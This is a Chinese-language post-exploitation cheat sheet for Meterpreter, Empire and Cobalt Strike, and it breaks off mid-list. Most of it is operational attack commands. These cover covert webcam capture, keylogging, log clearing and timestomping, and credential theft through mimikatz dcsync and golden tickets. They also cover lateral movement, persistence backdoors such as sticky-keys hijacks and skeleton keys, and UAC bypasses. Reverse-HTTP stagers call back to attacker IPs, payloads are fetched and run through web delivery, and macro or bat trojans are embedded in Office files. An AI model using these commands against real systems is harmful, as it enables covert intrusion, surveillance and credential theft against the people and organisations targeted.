#uictl [enable/disable] [keyboard/mouse/all]  开启或禁止键盘/鼠标
#uictl disable mouse  禁用鼠标
#uictl disable keyboard  禁用键盘
#webcam_list   查看摄像头
#webcam_snap   通过摄像头拍照
#webcam_stream  通过摄像头开启视频
#execute -H -i -f cmd.exe 执行cmd.exe,-H不可见,-i交互 
#execute -H -m -d calc.exe -f wce.exe -a "-o 1.txt" 隐藏执行
#ps查看当前活跃进程
#migrate pid     迁移进程
#kill pid   #杀死进程
文件操作
#pwd 查看当前目录
#ls 列出当前目录文件
#search -f *pass*        搜索文件
#cat c:\\passwd.txt   查看文件内容
#upload /tmp/pwn.txt C:\\1.txt   上传文件
#download c:\\passwd.txt /tmp/  下载文件
#edit c:\\1.txt  编辑或创建文件
#rm C:\\1.txt 删除文件
#mkdir folder  创建文件夹
#rmdir folder  删除文件夹
#lcd /tmp   #攻击者主机 切换目录
#timestomp -v C://2.txt   #查看时间戳
#timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
后渗透&权限维持
路由添加,socks建立,后门建立等查看
查看后门&持久化板块
清理日志
#clearev 

MSF派生Cobalt strike和Empire

派生Empire
Empire创建一个Listener
创建一个stager选择windows/dll
MSF使用
>use post/windows/manage/reflective_dll_inject 
指定session,dll的路径,进程pid
派生Cobalt Strike
cobalt 开启一个监听器windows/beacon_http/reverse_http
msf 
>use exploit/windows/manage/payload_inject
指定IP、端口、payload即可

Empire

安装

#git clone https://github.com/EmpireProject/Empire.git
#cd Empire/setup
#./install.sh

监听

(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners) > info 查看参数信息
(Empire: listeners/http) > set Name y
(Empire: listeners/http) > set Host http://192.168.0.1
(Empire: listeners/http) > set Port 8080
(Empire: listeners/http) > execute
>back命令返回listeners模块
>list查看已激活的listener
>kill http删除监听

生成

(Empire: listeners) > usestager windows/launcher_vbs (双击tab键查看所有模块)
(Empire: stager/windows/launcher_vbs) > info
必须设置listener的名字,可设置生成位置
(Empire: stager/windows/launcher_vbs) > set Listener y
(Empire: stager/windows/launcher_vbs) > execute
可生成vbs,靶机执行即可上线。
使用launcher命令直接生成powershell或python脚本
>launcher powershell Listener-Name
使用rename对agents更名
>rename 6NMCW4ZB target1
使用main命令放回主菜单
>list stale 列出失去权限的机器
>remove stale 去除失去权限的机器

连接靶机及其他操作

>interact target1 连接
>agent 返回靶机列表
>back 返回上一层
>shell net user 1 1 /add 执行系统目录格式
>mimikazt 加载模块获取密码
>creds 整理获取的密码,creds export /root/1.txt 保存密码,creds hash/plaintext,显示格式
>sc 获取当前桌面截图,文件存储在./Empire/download/agent名字/screenshot
>download c:\pass.txt 下载靶机文件到本机
>upload hacked.txt c:\hacked.txt 上传本机文件到靶机

提权

>agents 列表中Username没有星号则需要提权
>bypassuac listener需指定一个监听器 提权
>usemodule privesc/ms16-032需指定一个监听器 提权
>usemodule privesc/powerup/allchecks执行所有脚本检查漏洞

横向

查询域管登录机器
>usemodule situational_awareness/network/powerview/user_hunter
令牌窃取
>mimikatz
>creds  获取并整理hash及密码
>pth {ID}窃取管理员令牌
>steal_token {PID}
会话注入
>ps 查看进程
>usemodule management/psinject 设置ProcIP和Listener
Hash传递
Invoke-PsExec可能会被查杀
>usemodule situational_awareness/network/powerview/find_localadmin_access 列出可PSexec横向移动的机器
>usemodule lateral_movement/invoke_psexec需设置ComputerName和Listener
或
>usemodule lateral_movement/invoke_wmi需设置ComputerName和Listener,credID
跨域
父域域控:dc.zone.com
子域域控:sub.zone.com
子域计算机:pc.sub.zone.com
子域普通用户:sub\user1
查看信任关系
>usemodule situational_awareness/network/powerview/get_domain_trust
获取父域krbtgt SID,使用management/user_to_sid获取sid
需设置Domain和User=krbtgt
>usemodule credentials/mimikatz/dcsync 设置UserName 子域\krbtgt 获取子域hash
>usemodule credentials/mimikatz/golden_ticket 伪造sid 
需设置User为伪造用户 sids伪造的标识符{krbtgt sid}-519
>usemodule credentials/mimikatz/dcsync 获取父域krbtgt的hash
>usemodule credentials/mimikatz/golden_ticket 使用父域krbtgt进行PTH攻击,指定父域CredID,用户名和域
>shell dir \\dc.zone.com\c$

后门&持久化

映像劫持
>usemodule lateral_movement/invoke_wmi_debugger
设置Listener,ComputerName(大写),TargetBinary(sethc.exe, Utilman.exe, osk.exe, Narrator.exe, Magnify.exe),分别是粘滞键,轻松访问,屏幕键盘,讲述人,放大镜。
注入注册表启动项
>usemodule persistence/elevated/registry*
设置Listener,注册表路径RegPath [HKLM\software\microsoft\windows\currentversion\run]
计划任务
>usemodule persistence/elevated/schtasks*
设置Listener和DailyTime
WMI
>usemodule persistence/elevated/wmi
设置Listener
注入SSP
查看SSP章节

Collection(信息采集)

Collection(信息采集)

模块名 功能
collection/ChromeDump 收集chrome浏览器保存的密码和浏览历史记录
collection/FoxDump 收集Firefox浏览器保存的密码和浏览历史记录
collection/USBKeylogger* 利用ETW作为键盘记录
collection/WebcamRecorder 从摄像头捕获视频
collection/browser_data 搜索浏览器历史记录或书签
collection/clipboard_monitor 按指定的时间间隔监视剪贴板
collection/file_finder 查找域中的敏感文件
collection/find_interesting_file 查找域中的敏感文件
collection/get_indexed_item 获取Windows desktop search索引文件
collection/get_sql_column_sample_data 从目标SQL Server返回列信息。
collection/get_sql_query 在目标SQL服务器上执行查询
collection/inveigh Windows PowerShell LLMNR/mDNS/NBNS中间人工具
collection/keylogger 键盘记录到keystrokes.txt文件中,文件位置/downloads/agentname/keystrokes.txt/agentname
collection/minidump 进程的全内存转储,PowerSploit的Out-Minidump.ps1
collection/netripper 将NetRipper注入目标进程,该进程使用API挂钩以拦截来自低特权用户的网络流量和与加密相关的功能,从而能够在加密之前/解密之后捕获纯文本流量和加密流量。
collection/ninjacopy* 通过读取原始卷并解析NTFS结构,从NTFS分区卷中复制文件。
collection/packet_capture* 使用netsh在主机上启动数据包捕获。
collection/prompt 提示当前用户在表单框中输入其凭据,然后返回结果。
collection/screenshot 屏幕截图
collection/vaults/add_keepass_config_trigger 寻找KeePass配置
collection/vaults/find_keepass_config 此模块查找并解析KeePass.config.xml (2.X)和KeePass.config.xml (1.X)文件。
collection/vaults/get_keepass_config_trigger 该模块从KeePass 2.X配置XML文件中提取触发器说明
collection/vaults/keethief 此模块检索未锁定的KeePass数据库的database mastey key信息
collection/vaults/remove_keepass_config_trigger 该模块从Find-KeePassConfig找到的所有KeePass配置中删除所有触发器
>usemodule collection/ tab补齐查看模块
>usemodule collection/screenshot 获取当前桌面截图,文件存储在./Empire/download/agent名字/screenshot
>usemodule collection/keylogger 键盘记录,文件存储在./Empire/download/agent名字/agent.log
>usemodule situational_awareness/host/winenum 查看当前用户、AD组、剪切板内容、系统版本、共享、网络信息、防火墙规则
>usemodule situational_awareness/network/powerview/share_finder 列出域内所有共享
>usemodule situational_awareness/network/arpscan 
>set Range 192.168.0.1-192.168.0.100 ARP扫描,需设置扫描网段区间
>usemodule situational_awareness/network/portscan 
>set Hosts 192.168.0.1-192.168.0.100 端口扫描,需设置IP或IP段
>usemodule situational_awareness/network/reverse_dns DNS信息,需设置IP
>set Range 192.168.0.1-192.168.0.100
>usemodule situational_awareness/network/powerview/get_domain_controller 查找域控

Code_execution(代码执行)

模块名 功能
code_execution/invoke_dllinjection 使用PowerSploit的Invoke-DLLInjection将Dll注入您选择的进程ID。
code_execution/invoke_metasploitpayload 生成一个新的隐藏PowerShell窗口,该窗口下载并执行Metasploit Payload。这与Metasploit模块theexploit/multi/scripts/web_delivery互动
code_execution/invoke_ntsd 使用NT Symbolic Debugger执行Empire launcher代码
code_execution/invoke_reflectivepeinjection 使用PowerSploit的Invoke-ReflectivePEInjection进行反射PE注入,将DLL/EXE加载进PowerShell进程中,或者将DLL加载进远程进程中
code_execution/invoke_shellcode 使用PowerSploit的Invoke--Shellcode注入Shellcode
code_execution/invoke_shellcodemsil 执行shellcode

Credentials(身份凭证)

模块名 功能
credentials/credential_injection* 运行PowerSploit的Invoke-CredentialInjection创建具有明文凭证的登录,而不会触发事件ID 4648使用显式凭据尝试登录
credentials/enum_cred_store 从Windows凭据管理器中转储当前交互用户的纯文本凭据
credentials/invoke_kerberoast 为具有非空服务主体名称(SPN)的所有用户请求kerberos票据,并将其提取为John或Hashcat可用格式
credentials/powerdump* 使用Posh-SecMod的Invoke-PowerDump从本地系统中转储哈希
credentials/sessiongopher 提取WinSCP已保存的会话和密码
credentials/tokens 运行PowerSploit的Invoke-TokenManipulation枚举可用的登录令牌,并使用它们创建新的进程
credentials/vault_credential* 运行PowerSploit的Get-VaultCredential以显示Windows Vault凭证对象,包括明文Web凭证
credentials/mimikatz/cache* 运行PowerSploit的Invoke-Mimikatz函数以提取MSCache(v2) hashes
credentials/mimikatz/certs* 运行PowerSploit的Invoke-Mimikatz函数将所有证书提取到本地目录
credentials/mimikatz/command* 使用自定义命令运行PowerSploit的Invoke-Mimikatz函数
credentials/mimikatz/dcsync 运行PowerSploit的Invoke-Mimikatz函数,以通过Mimikatz的lsadump::dcsync模块提取给定的帐户密码
credentials/mimikatz/dcsync_hashdump 运行PowerSploit的Invoke-Mimikatz函数,以使用Mimikatz的lsadump::dcsync模块收集所有域哈希
credentials/mimikatz/extract_tickets 运行PowerSploit的Invoke-Mimikatz函数,以base64编码形式从内存中提取kerberos票据
credentials/mimikatz/golden_ticket 运行PowerSploit的Invoke-Mimikatz函数以生成黄金票据并将其注入内存
credentials/mimikatz/keys* 运行PowerSploit的Invoke-Mimikatz函数以将所有密钥提取到本地目录
credentials/mimikatz/logonpasswords* 运行PowerSploit的Invoke-Mimikatz函数以从内存中提取纯文本凭据。
credentials/mimikatz/lsadump* 运行PowerSploit的Invoke-Mimikatz函数以从内存中提取特定的用户哈希。 在域控制器上很有用。
credentials/mimikatz/mimitokens* 运行PowerSploit的Invoke-Mimikatz函数以列出或枚举令牌。
credentials/mimikatz/pth* 运行PowerSploit的Invoke-Mimikatz函数以执行sekurlsa::pth来创建一个新进程。
credentials/mimikatz/purge 运行PowerSploit的Invoke-Mimikatz函数从内存中清除所有当前的kerberos票据
credentials/mimikatz/sam* 运行PowerSploit的Invoke-Mimikatz函数从安全帐户管理器(SAM)数据库中提取哈希
credentials/mimikatz/silver_ticket 运行PowerSploit的Invoke-Mimikatz函数,以生成服务器/服务的白银票据并将其注入内存。
credentials/mimikatz/trust_keys* 运行PowerSploit的Invoke-Mimikatz函数,从域控制器中提取域信任密钥。

Exfiltration(数据窃取)

模块名 功能
exfiltration/egresscheck 可用于帮助检查主机与客户端系统之间的出口,详细信息:https://github.com/stufus/egresscheck-framework
exfiltration/exfil_dropbox 下载文件到dropbox

Exploitation(漏洞利用EXP)

模块名 功能
exploitation/exploit_eternalblue MS17_010永恒之蓝漏洞利用
exploitation/exploit_jboss Jboss漏洞利用
exploitation/exploit_jenkins 在未授权访问的Jenkins脚本控制台上运行命令

Lateral_movement(横向移动)

模块名 功能
lateral_movement/inveigh_relay smb中继攻击
lateral_movement/invoke_dcom 使用DCOM在远程主机上执行stager
lateral_movement/invoke_executemsbuild 该模块利用WMI和MSBuild编译并执行一个包含Empire launcher的xml文件。
lateral_movement/invoke_psexec PsExec横向移动
lateral_movement/invoke_psremoting 远程PowerShell横向移动
lateral_movement/invoke_smbexec SMBExec横向移动
lateral_movement/invoke_sqloscmd 利用xp_cmdshell横向移动
lateral_movement/invoke_sshcommand 利用SSH横向移动
lateral_movement/invoke_wmi 利用WMI横向移动
lateral_movement/invoke_wmi_debugger 使用WMI将远程机器上的二进制文件的调试器设置为cmd.exe或stager
lateral_movement/jenkins_script_console 利用未授权访问的Jenkins脚本控制台横向移动
lateral_movement/new_gpo_immediate_task 利用GPO中的计划任务横向移动

Management(管理)

模块名 功能
management/enable_rdp* 在远程计算机上启用RDP并添加防火墙例外。
management/disable_rdp* 在远程计算机上禁用RDP
management/downgrade_account 在给定的域帐户上设置可逆加密,然后强制下次用户登录时设置密码。
management/enable_multi_rdp* 允许多个用户建立同时的RDP连接。
management/get_domain_sid 返回当前指定域的SID
management/honeyhash* 将人工凭证注入到LSASS
management/invoke_script 运行自定义脚本
management/lock 锁定工作站的显示
management/logoff 从计算机上注销当前用户(或所有用户)
management/psinject 利用Powershell注入Stephen Fewer形成的ReflectivePick,该ReflectivePick在远程过程中从内存执行PS代码
management/reflective_inject 利用Powershell注入Stephen Fewer形成的ReflectivePick,该ReflectivePick在远程过程中从内存执行PS代码
management/restart 重新启动指定的机器
management/runas 绕过GPO路径限制
management/shinject 将PIC Shellcode Payload注入目标进程
management/sid_to_user 将指定的域sid转换为用户
management/spawn 在新的powershell.exe进程中生成新agent
management/spawnas 使用指定的登录凭据生成agent
management/switch_listener 切换listener
management/timestomp 通过'调用Set-MacAttribute执行类似耗时的功能
management/user_to_sid 将指定的domain\user转换为domain sid
management/vnc Invoke-Vnc在内存中执行VNC代理并启动反向连接
management/wdigest_downgrade* 将计算机上的wdigest设置为使用显式凭据
management/zipfolder 压缩目标文件夹以供以后渗透
management/mailraider/disable_security 此函数检查ObjectModelGuard
management/mailraider/get_emailitems 返回指定文件夹的所有项目
management/mailraider/get_subfolders 返回指定顶级文件夹中所有文件夹的列表
management/mailraider/mail_search 在给定的Outlook文件夹中搜索项目
management/mailraider/search_gal 返回与指定搜索条件匹配的所有exchange users
management/mailraider/send_mail 使用自定义或默认模板将电子邮件发送到指定地址。
management/mailraider/view_email 选择指定的文件夹,然后在指定的索引处输出电子邮件项目

Persistence(持久化)

模块名 功能
persistence/elevated/registry* 计算机启动项持久化,通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化,运行一个stager或者脚本
persistence/elevated/schtasks* 计划任务持久化
persistence/elevated/wmi* WMI事件订阅持久化
persistence/elevated/wmi_updater* WMI订阅持久化
persistence/misc/add_netuser 将域用户或本地用户添加到当前(或远程)计算机
persistence/misc/add_sid_history* 运行PowerSploit的Invoke-Mimikatz函数以执行misc::addsid以添加用户的sid历史记录。 仅适用于域控制器
persistence/misc/debugger* 将指定目标二进制文件的调试器设置为cmd.exe
persistence/misc/disable_machine_acct_change* 禁止目标系统的机器帐户自动更改其密码
persistence/misc/get_ssps 枚举所有已加载的安全软件包
persistence/misc/install_ssp* 安装安全支持提供程序dll
persistence/misc/memssp* 运行PowerSploit的Invoke-Mimikatz函数以执行misc::memssp,将所有身份验证事件记录到C:\Windows\System32\mimisla.log
persistence/misc/skeleton_key* 运行PowerSploit的Invoke-Mimikatz函数来执行misc::skeleton,植入密码mimikatz的万能钥匙。 仅适用于域控制器
persistence/powerbreach/deaduser DeadUserBackdoor后门,详细信息:http://www.sixdub.net/?p=535
persistence/powerbreach/eventlog* 启动事件循环后门
persistence/powerbreach/resolver 启动解析器后门
persistence/userland/backdoor_lnk LNK文件后门
persistence/userland/registry 计算机启动项持久化,通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化,运行一个stager或者脚本
persistence/userland/schtasks 计划任务持久化

Privesc(权限提升)

模块名 功能
privesc/ask 弹出一个对话框,询问用户是否要以管理员身份运行powershell
privesc/bypassuac UAC bypass
privesc/bypassuac_env UAC bypass
privesc/bypassuac_eventvwr UAC bypass
privesc/bypassuac_fodhelper UAC bypass
privesc/bypassuac_sdctlbypass UAC bypass
privesc/bypassuac_tokenmanipulation UAC bypass
privesc/bypassuac_wscript UAC bypass
privesc/getsystem* 获取system特权
privesc/gpp 利用windows组策略首选项缺陷获取系统帐号
privesc/mcafee_sitelist 寻找McAfee SiteList.xml文件的纯文本密码
privesc/ms16-032 MS16-032本地提权
privesc/ms16-135 MS16-135本地提权
privesc/tater 利用PowerShell实现的Hot Potato提权
privesc/powerup/allchecks 检查目标主机的攻击向量以进行权限提升
privesc/powerup/find_dllhijack 查找通用的.DLL劫持
privesc/powerup/service_exe_restore 还原备份的服务二进制文件
privesc/powerup/service_exe_stager 备份服务的二进制文件,并用启动stager.bat的二进制文件替换原始文件
privesc/powerup/service_exe_useradd 修改目标服务以创建本地用户并将其添加到本地管理员
privesc/powerup/service_stager 修改目标服务以执行Empire stager
privesc/powerup/service_useradd 修改目标服务以创建本地用户并将其添加到本地管理员
privesc/powerup/write_dllhijacker 将可劫持的.dll以及.dll调用的stager.bat一起写到指定路径。 wlbsctrl.dll在Windows 7上运行良好。需要重新启动计算机

Recon(侦察)

模块名 功能
recon/find_fruit 在网络范围内搜索潜在的易受攻击的Web服务
recon/get_sql_server_login_default_pw 发现在当前广播域之内的SQL Server实例
recon/http_login 针对基本身份验证测试凭据

Situational_awareness(态势感知)

模块名
situational_awareness/host/antivirusproduct 获取防病毒产品信息
situational_awareness/host/computerdetails* 枚举有关系统的有用信息
situational_awareness/host/dnsserver 枚举系统使用的DNS服务器
situational_awareness/host/findtrusteddocuments 该模块将枚举适当的注册表
situational_awareness/host/get_pathacl 枚举给定文件路径的ACL
situational_awareness/host/get_proxy 枚举当前用户的代理服务器和WPAD内容
situational_awareness/host/get_uaclevel 枚举UAC级别
situational_awareness/host/monitortcpconnections 监视主机与指定域名或IPv4地址的TCP连接,对于会话劫持和查找与敏感服务进行交互的用户很有用
situational_awareness/host/paranoia* 持续检查运行过程中是否存在可疑用户
situational_awareness/host/winenum 收集有关主机和当前用户上下文的相关信息
situational_awareness/network/arpscan 针对给定范围的IPv4 IP地址执行ARP扫描
situational_awareness/network/bloodhound 执行BloodHound数据收集
situational_awareness/network/get_exploitable_system 查询Active Directory以查找可能容易受到Metasploit Exploit的系统
situational_awareness/network/get_spn 获取服务主体名称(SPN)
situational_awareness/network/get_sql_instance_domain 返回SQL Server实例列表
situational_awareness/network/get_sql_server_info 从目标SQL Server返回基本服务器和用户信息
situational_awareness/network/portscan 使用常规套接字进行简单的端口扫描
situational_awareness/network/reverse_dns 执行给定IPv4 IP范围的DNS反向查找
situational_awareness/network/smbautobrute 针对用户名/密码列表运行SMB暴力破解
situational_awareness/network/smbscanner 在多台机器上测试用户名/密码组合
situational_awareness/network/powerview/find_foreign_group 枚举给定域的组的所有成员,并查找不在查询域中的用户
situational_awareness/network/powerview/find_foreign_user 枚举在其主域之外的组中的用户
situational_awareness/network/powerview/find_gpo_computer_admin 获取计算机(或GPO)对象,并确定哪些用户/组对该对象具有管理访问权限
situational_awareness/network/powerview/find_gpo_location 获取用户名或组名,并确定其具有通过GPO进行管理访问的计算机
situational_awareness/network/powerview/find_localadmin_access 在当前用户具有“本地管理员”访问权限的本地域上查找计算机
situational_awareness/network/powerview/find_managed_security_group 此功能检索域中的所有安全组
situational_awareness/network/powerview/get_cached_rdpconnection 使用远程注册表功能来查询计算机上“ Windows远程桌面连接客户端”的所有信息
situational_awareness/network/powerview/get_computer 查询当前计算机对象的域
situational_awareness/network/powerview/get_dfs_share 返回给定域的所有容错分布式文件系统的列表
situational_awareness/network/powerview/get_domain_controller 返回当前域或指定域的域控制器
situational_awareness/network/powerview/get_domain_policy 返回给定域或域控制器的默认域或DC策略
situational_awareness/network/powerview/get_domain_trust 返回当前域或指定域的所有域信任
situational_awareness/network/powerview/get_fileserver 返回从用户主目录提取的所有文件服务器的列表
situational_awareness/network/powerview/get_forest 返回有关给定域森林的信息
situational_awareness/network/powerview/get_forest_domain 返回给定林的所有域
situational_awareness/network/powerview/get_gpo 获取域中所有当前GPO的列表
situational_awareness/network/powerview/get_group 获取域中所有当前组的列表
situational_awareness/network/powerview/get_group_member 返回给定组的成员
situational_awareness/network/powerview/get_localgroup 返回本地或远程计算机上指定本地组中所有当前用户的列表
situational_awareness/network/powerview/get_loggedon 执行NetWkstaUserEnum Win32API调用以查询主动登录主机的用户
situational_awareness/network/powerview/get_object_acl 返回与特定活动目录对象关联的ACL
situational_awareness/network/powerview/get_ou 获取域中所有当前OU的列表
situational_awareness/network/powerview/get_rdp_session 在给定的RDP远程服务中查询活动会话和原始IP
situational_awareness/network/powerview/get_session 执行NetSessionEnum Win32API调用以查询主机上的活动会话
situational_awareness/network/powerview/get_site 获取域中所有当前站点的列表
situational_awareness/network/powerview/get_subnet 获取域中所有当前子网的列表
situational_awareness/network/powerview/get_user 查询给定用户或指定域中用户的信息
situational_awareness/network/powerview/map_domain_trust 使用.CSV输出映射所有可访问的域信任
situational_awareness/network/powerview/process_hunter 查询远程机器的进程列表
situational_awareness/network/powerview/set_ad_object 使用SID,名称或SamAccountName来查询指定的域对象
situational_awareness/network/powerview/share_finder 在域中的计算机上查找共享
situational_awareness/network/powerview/user_hunter 查找指定组的用户登录的机器

Trollsploit(恶作剧)

模块名 功能
trollsploit/get_schwifty 播放Schwifty视频,同时把计算机音量设置最大
trollsploit/message 发送一个消息框
trollsploit/process_killer 终止以特定名称开头的任何进程
trollsploit/rick_ascii 生成一个新的powershell.exe进程运行Lee Holmes' ASCII Rick Roll
trollsploit/rick_astley 运行SadProcessor's beeping rickroll
trollsploit/thunderstruck 播放Thunderstruck视频,同时把计算机音量设置最大
trollsploit/voicetroll 通过目标上的合成语音朗读文本
trollsploit/wallpaper 将.jpg图片上传到目标机器并将其设置为桌面壁纸
trollsploit/wlmdr 在任务栏中显示气球提示

Empire Word

>usestager windows/launcher_bat生成bat木马,设置Listener
Word/Excel->插入->对象->由文件创建,选择bat,显示为图标,修改图标
Macro
>usestager windows/macro 设置Listener
Word/Excel->试图->宏->创建,复制macro进去

Empire派生Cobalt Strike和MSF

派生MSF
可绕过杀软
Empire
>usemodule code_execution/invoke_shellcode
>set Lhost 192.168.0.1
>set Lport 4444
>set Payload reverse_http
MSF
>use exploit/multi/handler
>set payloadwindows/meterpreter/reverse_http
>set Lhost 192.168.31.247
>set lport 4444
>run
或Empire
>usemodule code_execution/invoke_metasploitpayload
>set URL http://SRVHOST:SRVPORT
MSF
#use exploit/multi/script/web_delivery
#set payload windows/x64/meterpreter/reverse_tcp
设置SRVHOST SRVPORT
派生Cobalt Strike
创建监听器/windows/beacon_http/reverse_http 设置端口和主机
Empire
>usemodule code_execution/invoke_shellcode
>set Lhost 192.168.0.1
>set Lport 4444
>set Payload reverse_http

Cobalt Strike

安装

需要JDK环境
>tar -xzvf jdk-8u191-linux-x64.tar.gz

部署TeamServer

>./teamserver 192.168.0.107 123456
格式是外网IP和密码

模块

New Connection:新建连接
Preferences:设置外观
Visualization:查看主机的不同形式
VPN Interfaces: VPN接口
Listeners:监听器
Script Interfaces:查看和加载CNA脚本
Close:关闭CS

连接

image

监听器

创建
Cobalt Strike -> Listeners点击Add

image

Beacon为CS内部监听器。
Foreign一般与MSF结合使用。
系统架构的支持

image

攻击模块

image

名称 功能
HTML Application 基于powershell的.hta格式的HTML Application木马,分为可执行文件、PowerShell、VBA三种方法
MS Office Macro office宏病毒文件
Payload Generator 基于C、C#、COM Scriptlet、Java、Perl、PowerShell、Python、Ruby、VBA等语言的payload
USB/CD AutoPlay